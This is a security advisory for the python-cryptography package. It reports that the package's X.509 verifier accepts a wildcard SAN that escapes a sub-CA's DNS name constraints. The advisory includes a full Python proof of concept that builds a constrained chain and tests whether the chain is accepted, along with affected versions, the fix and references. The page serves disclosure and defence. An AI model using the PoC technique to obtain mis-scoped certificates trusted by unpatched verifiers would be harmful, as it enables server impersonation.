python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees
Summary
If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.
PoC
#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.
Setup:
Sub-CA permitted constraint: dNSName = foo.example.com
Leaf SAN: dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)
now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)
def build(subject, issuer, key, issuer_key, ca, exts=()):
b = (x509.CertificateBuilder()
.subject_name(subject).issuer_name(issuer)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now - 30 * day)
.not_valid_after(now + 3650 * day)
.add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
for e, c in exts:
b = b.add_extension(e, c)
return b.sign(issuer_key, hashes.SHA256())
# Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)
# Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
permitted_subtrees=[x509.DNSName("foo.example.com")],
excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])
# Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])
# Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
PolicyBuilder()
.store(Store([root]))
.time(now)
.extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
.build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
v.verify(leaf, [sub])
print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
print(f"EXPECTED: VerificationError: {e}")
Impact
Acceptance of invalid certificate chain.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | cryptography | >= 45.0.0, < 49.0.0 | 49.0.0 |
References
- https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c
- https://github.com/pyca/cryptography/pull/14888
- https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2
- https://github.com/pyca/cryptography
- https://pypi.org/project/cryptography
- https://github.com/advisories/GHSA-m2h6-j472-rp4c
- https://nvd.nist.gov/vuln/detail/CVE-2026-69248
- https://github.com/pyca/cryptography/commit/286c89128
- https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P- Weakness (CWE)
CWE-295- Platform
- Python (PyPI)
- Package
cryptography- Disclosed
- 03.08.2026
- Updated
- 11.10.2026 15:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-3554 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-m2h6-j472-rp4c - CC BY 4.0
Vulnerability history: cryptography
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 24
- First → latest
- 03.2017 08.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 12
- Medium 7
- Low 5
Disclosures per year
- 2017: 1
- 2018: 1
- 2019: 0
- 2020: 1
- 2021: 1
- 2022: 1
- 2023: 7
- 2024: 4
- 2025: 1
- 2026: 7
-
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